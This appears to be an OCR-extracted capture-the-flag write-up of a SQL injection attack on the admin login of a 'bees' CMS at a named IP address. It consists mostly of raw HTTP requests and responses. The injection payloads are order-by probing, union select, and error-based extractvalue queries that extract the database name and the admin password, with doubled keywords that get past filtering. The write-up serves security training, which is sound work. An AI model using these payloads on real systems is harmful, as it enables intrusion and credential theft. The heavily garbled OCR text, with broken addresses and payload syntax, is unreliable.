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1 http: //59, 63, 200. 79:8003,/bees/admnin/login. php
2 ttp: //B8. 63.200. 79: 8003,/ bees/ admi =in. php
3 ttp: //B9. 63200, 796003/ mix zin, php
4 ttp://59, 63,200, 79:6003,/bees/adnin/Lozin. php
5 bty 9.63.200. 79:8003/bees/Index. php
3 ttp: //B9. 63200, 798003/ Jindex. php
7 ttp: //B9. 63200, 796003/ Jindex, php
8 ttp: //B9. 63.200. 79 6003,/ bees/robots. txt
9 ttp://59. 63.200. 798003,/ bees/flag. txt
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Target: htp://59.63.200.79:8003 7 (7)

user=user’ # &password=password&code=diSefsubmit=true&submit. x=43 &submit. y=17
Ry

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render ]

POST /bees/admin/login.php?action=ck_login HTTP/1.1 setTimeout("time_go()",1000); :
Host: 59.63.200.79:8003 }
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; n:80.0) Gecko/20100101 Firefox/80.0 }
Accept: text/html,application/xhtrl+xml,application/xml; q=0.9 imagefwebp " g=0.8 </script>
Accept-Language: zh-CM zh;q=0.8,zh-TW,q=0.7 ,zh-HK;q=0 .5 en-US;q=0.3 en;q=0.2 <style type="text/css">
Accept-Encoding: gzip, deflate body{backgroud:#fefafa}
Content-Type: application/s-waww-form-urlencoded </style>
Content-Length: 83 </head>
Crigin: http://59.63.200.79:8003
Connection: close <body>
Referer: http://59.63.200.73:8003/bees/admin/login.php <div class="msg_bhody">
Cookie: BkGOpI5T80_think_templata=default; <div class="msg_lan"> ¥4 {F Ba/divo< /- ">
UN_distinctid=17 4b3d6c133d4-0c830887 194952 e-4c 3247 a-144000-17 4b3dEc 11420, <div class="msg_contain">
CMZZDATA1257137=cnzz_eid%30793886153-1600743887-%26ntime %30 1600743887 ; <p
PHPSESSID=fdsuh9p@6hq45hpid1sjIn3ens style="font-weight: hold; color#1 56683 >Hi A AAET</p><p> TR fE<span D
Upgrade-Insecure-Requests: 1 id="is_time"></span>§ & B 3 E </p><p i me_url"><a

href="javascript:window. history. back(-1); "> ] _b— B </a></p><scrpt
type="text/javascript">time_go(;</script> </div=
</div>

</body>
</html=
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Content-Length: 88

Origin: http://59.63.200.79:8003

Connection: close

Referer: http:/f59.63.200.79:8003/beesfadminflogin. php

Cookie: BkGOp95780 _think_template=default;

UM _distinctid=174b3d6c 1133d4-0c83887 19495 - 423247 a-144000-17 4b3d6 e 11420,
CNZZDATA1257137=cnzz_eid%30793886153-16007 43887 -%26ntime %3016007 43887,
PHPSESSID=fdsuh9pBEbgd5bpid1 sjPn3ens

Upgrade-Insecure-Requests: 1

user=user' order by EI# &password=password&code=dSedsubmit=true&submit.x=438&submit. y=17
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Content-Length: 324
Connection: close
Content-Type: text/html; charset=ut{-8

<div style="font-size: 12px;"><p> He i # H FE S Unknown column 6" in ‘order

clause'<br=sql:select id,admin_name,admin_password,admin_purview,is_di

from bees_admin where admin_name="user’ order by b # " limit 0,1</p><p
—_—— -

id="time_url"><a href="javascript:history.go(-1);"

style="text-decration:none"> ¥ il </a></div>
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Content-Length: 59

Crigin: http://59.63.200.79:8003

Connection: close

Referer. http://59.63.200.79:8003/beesfadmin/login. php

Cookie: BkGOpI5TE0_think_template=default;
UN_distinctid=174b3d6c1f33d4-0c83887 194958 e-43{247 a-144000-174b3d6c 11420,
CHNZZDATA1257137=cnzz_eid%30793886153-16007 43887- %26ntime%3016007 43887,
PHPSESSID=fdsuh3pBEbg45hpid1sin3ens

Upgrade-Insecure-Requests: 1

user=user union select 12345
#ip d=password&code=desedsubmit=true&submit. x=41&submit. y=29

Content-Length: 454
Connection: close
Content-Type: text/html; charset=utf8

<div style="font-size: 12px;"><p= A5 $46 FE 220 You have an error in your SQL syntax; check
the manual that corresponds to your MySQL server version for the right syntax to use near
"1.2.3.4,5 # limit 0,1" at line 1<br>sql:select
id,admin_name,admin_password,admin_purview,is_disable from bees_admin where
admin_name="user' 1,2,3,4,5 #' limit 0,1</p><p id="time_url"><a href="javascript:history go(-1);"
style:"text—demmfvddi\o
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5. f# R4S E N extractvalue (1, ~) 7,

AT LA S E https://blog.csdn.net/devil8123665/article/details/ 108746148

¥ N“user' a and nd extractvalue(1,concat('~',(database()),'~")) #’, T~ &

Connection: close

Referer. http://59.63.200.79:8003/bees/adminflogin.php

Cookie: BkGOpI5780_think_template=default;
UM_distinctid=174b3d6c1133d4-0c83867 19495 e-4 031247 a-144000-174b3dEc 14 a0;
CNZZDATA1257137=cnzz_eid%3D793886153-1600743887-%26ntime %3016007 43887 ;
PHPSESSID=fdsuhdpBEhqdShpid1s/an3ens

Upgrade-Insecure-Requests: 1

user=user a and nd extractvalue(1 concat(~'(database()),~)
#ap d=password&code=dese&submit=trus&submit. x=41&submit.y=29
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Content-Type: text/html; charset=utf-8

<div style="font-size: 12px; "> < p> ¥ # AR FE KX PATH syntax error: ~bees~'<br=sql:select
id,admin_name,admin_password,admin_purview,is_disable from bees_admin where
admin_name="user’ and extractvalue(1,concat{~",(database(),~) # limit 0,1</p><p
id="time_url"><a href="javascript:history.go(-1);" style="text-decration:none" >3 [l </a></div>
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E A “user' a and nd extractvalue(1,substr(concat('~',(selselectect admin_password fr from om bees_admin limit
1 ),l~l),10)) #u
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